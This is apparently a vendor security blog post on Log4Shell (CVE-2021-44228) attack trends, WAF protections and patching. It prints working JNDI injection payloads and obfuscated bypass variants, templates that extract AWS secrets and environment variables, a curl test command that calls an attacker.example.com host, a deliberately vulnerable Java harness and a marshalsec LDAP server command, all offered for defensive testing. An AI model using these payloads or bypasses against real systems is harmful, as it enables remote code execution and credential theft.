Log4Shell attacks (CVE-2021-44228) insights | Fastly

What you need to know

• Patching this vulnerability still remains the recommended remediation over any other option.

• This vulnerability continues to be actively being exploited in the wild.

• Our WAF customers can enable rules to help protect themselves.

• CVE-2021-45046 - The log4j 2.15 patch was incomplete resulting in the release of patch 2.16

Recap

Last week, we shared an explanation of the recent Log4j vulnerability, colloquially referred to as Log4Shell, as well as our initial observations of attackers exploiting it (or attempting to). An attacker can provide text to a vulnerable logging pipeline and then execute arbitrary code on the vulnerable host. The simplicity of exploitation and extent of Log4j’s footprint (since many Java-based business apps use it as the logging library of choice) have created a juicy market opportunity for attackers, who began employing it in cryptomining and botnet campaigns in a matter of days. 

We are seeing attackers continue to exploit this vulnerability on a huge scale, so we’re sharing our latest data and new insights in this post to support the security and software engineering community’s efforts to cope with the situation. We will also share our guidance around testing your environment against many of the new obfuscation methods that have been seen.

Details

The trend line we shared previously showed the volume of attacks clearly growing over the first 24 hours (15:30 GMT December 9 through 15:30 GMT December 10). We saw this trend continue at an even greater clip in the subsequent four days (up until 15:30 GMT on December 14), suggesting continued interest in the vulnerability. While this data is no doubt a combination of attacker and defender activity, it indicates the problem is not yet under control for the internet at large — people are still untangling its impact and attempting to cope with a quickly evolving situation.

Attackers are still predominantly focused on LDAP as their protocol of choice, seen in over 86% of attacks. But we saw attackers make use of each protocol the JNDI callback permits in their URIs:

Bypasses

There are vibrant discussions taking place on Twitter, forums, and group chats around the world, which is helping foment continued interest in the vulnerability. These discussions are also propelling research around how to evade mitigations and monitoring when exploiting Log4Shell, which is worth exploring to inform better defenses.

The original payload template we discussed in our previous post was ${jndi:ldap://example.com:1234/callback}. This string is pretty simple to match for defensive purposes: ${} wraps jndi:ldap://, and both are great identifiers to search for in logs or write regular expressions around for WAF rules. However, as with any parser, evaluating nested statements can add complexity when identifying text. The templating parser used by Log4j will happily expand nested templates, which means different methods can be evaluated to the same string. We extracted a few methods from our logs that all lead to the same result (shown below), making it harder to create simple heuristics to detect the attack:

${jn${lower:d}i:l${lower:d}ap://example.${lower:c}om:1234/callback}

​​${${lower:${lower:jndi}}:${lower:ldap}://example.com:1234/callback}

${${::-j}${::-n}di:${::-l}d${::-a}p://example.com:1234/callback}

Information leaks

Over the last four days, we also witnessed a considerable volume of attackers attempting to extract data from environment variables and Java system properties through templating. An example of this method is: ${jndi:ldap://example.com:1234/callback/${env:USER}.

When this template is evaluated, the ${env:USER} string is replaced with the username that executed the JVM. Through our telemetry, we saw that 35% of all unique URIs contain at least one template focused on data extraction, with the following templates being the most popular among attackers:

${env:PATH}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_ACCESS_KEY_ID}
${sys:user.name}
${sys:java.version}
${sys:os.version}
${env:USER}
${java:os}
${date:MM-dd-yyyy}
${date:dd:MM:yyyy}

Web application attack tools

We are seeing heavy use of a small number of testing sites used to deliver the initial template injection. These sites are largely associated with well-known security tools and are sometimes used legitimately for research and authorized testing, but they can also be used by malicious actors. The following four domains represent 91% of all unique URIs we observed from December 9 until December 14:

In each case, the site uses a subdomain that is a unique identifier tied to the user performing the test (which contributes to the number of unique instances). It is important to note that sites like this do not typically support running an active LDAP listener, so the callback being delivered would not result in a full exploit chain. However, the attacker can still receive a log that a response was successfully triggered and then use another tool or site to launch the rest of their operation.

Payloads

The initial payloads delivered on the first day were simple in nature, consisting of a simple informational callback or basic command execution. Unfortunately, as time has progressed, so have the actions taken by the ultimate payload.

We have observed host-level commands continuing to call Runtime.getRuntime().exec() to execute Unix commands such as curl and wget, but also evidence of PowerShell execution more recently. In addition, one instance of wget exfiltrated the host’s /etc/hosts file, clearly attempting to understand the host it had attacked. Through PowerShell, one decompiled Java class uses HttpURLConnection to upload host-level details about the Active Directory domain the host is a part of, a sign that attackers are preparing for scalable campaigns against enterprises.

In another exploit chain, we saw attacker tools to install and execute the DDoS botnet malware known as Gafgyt on the host. We are sharing the hash and filename of each of the files we saw in the Indicators of Compromise (IOCs) section at the end of the blog.

What should you do?

How to test your attack sample

It is difficult to assess the validity of the attack samples — whether the attack sample would actually succeed or not — throughout your environment. Thankfully, there are a variety of ways to test an attack sample; the easiest way is to use the following curl command against a vulnerable service. Replace the part in the curly braces with your payload, and ensure the part at the end represents your WAF-protected service (like a site that logs into one of your Java applications).

curl -X GET -H 'User-Agent: ${jndi:ldap://attacker.example.com:1389/a}' 'https://wafprotected.example.com'

Keep in mind that if you are testing this and you are vulnerable, you will be executing this exploit against any downstream logging systems — so coordinate with any relevant stakeholders first. In addition to using curl, you can use fancier tools such as Burp Suite (who created a Log4Shell Scanner), Postman, or WAF testing tools to send these samples in various other places in the request rather than just in the user-agent string.

As you can see in the screenshot above, the payload is being detected and blocked by a WAF.

Is my payload valid?

You can successfully deliver payloads to the application, but that alone does not mean the attack sample can actually exploit the application. The easiest way to test if your sample payload is valid, is to create a basic Java application to test against. Here is an example of a simple Java application you can use:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTestHarness {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String userInput = "${jndi:ldap://127.0.0.1:1389/a}";

        logger.error("this is a thing {}", userInput);
    }
}

There are a few caveats to consider before starting. First, set the system property of com.sun.jndi.ldap.object.trustURLCodebase (as seen in the example above) to match your environment. Keep in mind that in recent Java releases, that property will default to false. The most important variable is the userInput value, which is where you want to insert the malicious test payload so it is passed to Log4j for exploitation. 

Once you have the application compiled and ready to be executed, the next step is to stand up an LDAP server. We suggest using a tool like marshalsec to stand up this service. Once you’ve cloned and compiled marshalsec (following the repository instructions), you can execute the following command to get the server running:

java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8888/#Exploit"

Once the marshalsec LDAP server has been started, run your compiled Log4j test application and confirm that the application reaches out to your service. You should see something like this in the output if you have a successful JNDI attack payload: 

Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to 
http://localhost:8888/Exploit.class

As mentioned in our previous blog post, a more in-depth sample repository for you to get an idea of how to craft this application can be found here.

What to do if you’re our customer

How can you ensure your WAF is covering you from Log4Shell attacks? The first step is to validate that you enabled the relevant rule in your environment. 

Customers of our next-gen WAF (formerly Signal Sciences) should follow the advice in the previous blog post on steps to do this. 

To deploy the rule, a Fastly Web Application Firewall (2020) customer can:

1. Navigate to the "Manage Rules" page on their applicable WAF

2. "Clone" the active WAF version to create a draft

3. Search for the CVE number CVE-2021-44228 with search Scope:"Include all"

4. "Add Rule" in Block or Log mode & then Activate

We can deploy VCL-based mitigations to this threat for our legacy WAF customers. If you would like assistance in applying this configuration, please contact our CSOC at securitysupport@fastly.com.

Additionally, after requests from our customers looking for more aggressive filtering, we've implemented a stricter rule for detection and blocking of the methods used in this attack. Read more about the options for these mitigations and how to apply them.

Conclusion

Patching these vulnerabilities still remains the recommended remediation over any other option. As of December 14, Apache has released Log4j 2.16.0, which goes beyond patching the vulnerabilities and fully disables the JNDI functionality by default. In addition it resolves the JNDI lookup issue outlined in CVE-2021-45046.

As this threat continues to evolve, we will continue to monitor the situation and provide appropriate mitigations for our customers.

Indicators of Compromise (IOCs)

Java classes
bb6967f006c0680874389c54b2322707a41e16e5  exp.class
0679b5145c208091f06928bb4601940b0efb86bf  exploit.class
ff30416ab305aada2a0e3fbbd05ca32e82438f1c  Log4jRCE.class
0679b5145c208091f06928bb4601940b0efb86bf  exploit.class
5fcff086eafd4bed4e42687427fd00910fe26b1e  ExploitD.class
bd97f9eba8b7a879d775714ee1a4a815b73fd210  Exploit.class
dc7d2d19e3893b810be6a5a280a5eed79342367a  Runner.class
Dc7d2c3b0286b7d36a1382b6b4dca1afeb5448e2  Runner.class
4c2ddff1ca4003ca5e3ad897363b55c21041155d  ExploitD.class
b3651f2e069c9db83f35eda3cc663ecfb8167d99  Exploit.class

DDoS malware delivered through Log4Shell Chain
b1ea87a2db9756bfe8328ac0dd1204c4501e63f4  pty1
12dff86ffceaa394adbd9355e3affe7730b34fa5  pty2
e3eb1e98ca477918154b9ed7bcc2b7fe757c1020  pty3
31516a917e8b1fe083de5f64dbcb413681c62ff2  pty4
4dafb50d1de86068915ed71dcc97f5ccc78f6123  pty5

​​